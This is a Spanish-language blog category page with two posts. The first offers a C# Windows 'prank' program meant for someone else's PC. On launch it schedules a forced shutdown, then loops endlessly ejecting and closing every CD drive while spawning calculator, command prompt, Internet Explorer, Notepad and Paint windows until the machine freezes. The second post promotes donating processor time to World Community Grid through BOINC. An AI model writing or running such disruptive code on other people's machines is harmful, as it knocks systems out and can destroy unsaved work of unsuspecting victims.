Archivo de la categoría: Hardware

Broma pesada [Dejar la crema en el PC]

El código hace lo siguiente:

Infinitamente abre y cierra el lector , ejecuta programas, dejara el pc para la corneta en un estado de coma xD , por si quieren hinchar las pelotas molestar a alguien, con esto es suficiente.

PD: No sean tan malos  esta programado en C#.


using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.IO;

namespace WindowsApplication7
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
[DllImport("kernel32")]
static extern bool DeviceIoControl(IntPtr hDevice,
uint dwIoControlCode,
IntPtr lpInBuffer,
uint nInBufferSize,
IntPtr lpOutBuffer,
uint nOutBufferSize,
ref uint lpBytesReturned,
IntPtr lpOverlapped);
[DllImport("kernel32")]
static extern IntPtr CreateFile(string lpFileName,
uint dwDesiredAccess,
uint dwShareMode,
IntPtr lpSecurityAttributes,
uint dwCreationDisposition,
uint dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("kernel32")]
static extern int CloseHandle(IntPtr dHandle);

private static IntPtr fHandle;
private static uint ret;

private void cdrom()
{
DriveInfo[] aDrives = DriveInfo.GetDrives();

foreach (DriveInfo d in aDrives)
{
if (d.DriveType.ToString().ToUpper() == "CDROM")
{
abrir(d.Name.Remove(2));
cerrar(d.Name.Remove(2));
}
}

}

private void abrir(string cd)
{
fHandle = CreateFile(@"\\?\" + cd, 0x80000000, 0, IntPtr.Zero, 3, 0, IntPtr.Zero);
DeviceIoControl(fHandle, 0x2D4808, IntPtr.Zero, 0, IntPtr.Zero, 0, ref ret, IntPtr.Zero);
CloseHandle(fHandle);
fHandle = IntPtr.Zero;
}

private void cerrar(string cd)
{
fHandle = CreateFile(@"\\?\" + cd, 0x80000000, 0, IntPtr.Zero, 3, 0, IntPtr.Zero);
DeviceIoControl(fHandle, 0x2D480C, IntPtr.Zero, 0, IntPtr.Zero, 0, ref ret, IntPtr.Zero);
CloseHandle(fHandle);
fHandle = IntPtr.Zero;
}

private void Form1_Load(object sender, EventArgs e)
{
System.Diagnostics.Process process1;
process1 = new System.Diagnostics.Process();

//Do not receive an event when the process exits.

process1.EnableRaisingEvents = false;

//The "/C" Tells Windows to Run The Command then Terminate

string strCmdLine,nuevo;
strCmdLine = "";
nuevo = "-s -t 900";

System.Diagnostics.Process.Start("shutdown.exe", nuevo);
while(1<2)
{
cdrom();
System.Diagnostics.Process.Start("calc.exe", strCmdLine);
System.Diagnostics.Process.Start("cmd.exe", strCmdLine);
System.Diagnostics.Process.Start("iexplore.exe", strCmdLine);
System.Diagnostics.Process.Start("notepad.exe", strCmdLine);
System.Diagnostics.Process.Start("mspaint.exe", strCmdLine);

}

//  process1.Close();

//test

}
}
}
Anuncios

Ayuda al mundo con tu Procesador

World Community Grid

Hola a todos, los orientare como pueden aportar a la sociedad con su procesador, se trata del sistema BOINC, es computacion distribuida , para unir miles de computadores y hacer un super computador para hacer operaciones con tu procesador, puedes ayudar a buscar formas de combatir el cancer, busqueda de planetas , etc todo esto lo hace solo , ya que tu recibiras tareas y tu computador las va procesando y enviando los resultados , esto no usa mucho recurso ya que es configurable , yo uso el 50 % del procesador y no veo ninguna lentitud en el sistema, les dejare un link para que conozcan estos proyectos, ojala se unan , asi aportaran su grano de arena a la ciencia.

“La misión del World Community Grid es crear la red más amplia de computación pública en beneficio de la humanidad. La base de nuestro trabajo es la idea de que la innovación tecnológica combinada con la investigación científica intuitiva y con el voluntariado en gran escala pueden mejorar nuestro mundo. Nuestro éxito depende de individuos que, como usted, contribuyen colectivamente con esta misión, sin fines de lucro, donando su tiempo libre en la PC.”

http://www.worldcommunitygrid.org/index.jsp

PD: Se pueden crear Equipos, los interesados, me pueden comentar en el post, saludos.
A %d blogueros les gusta esto: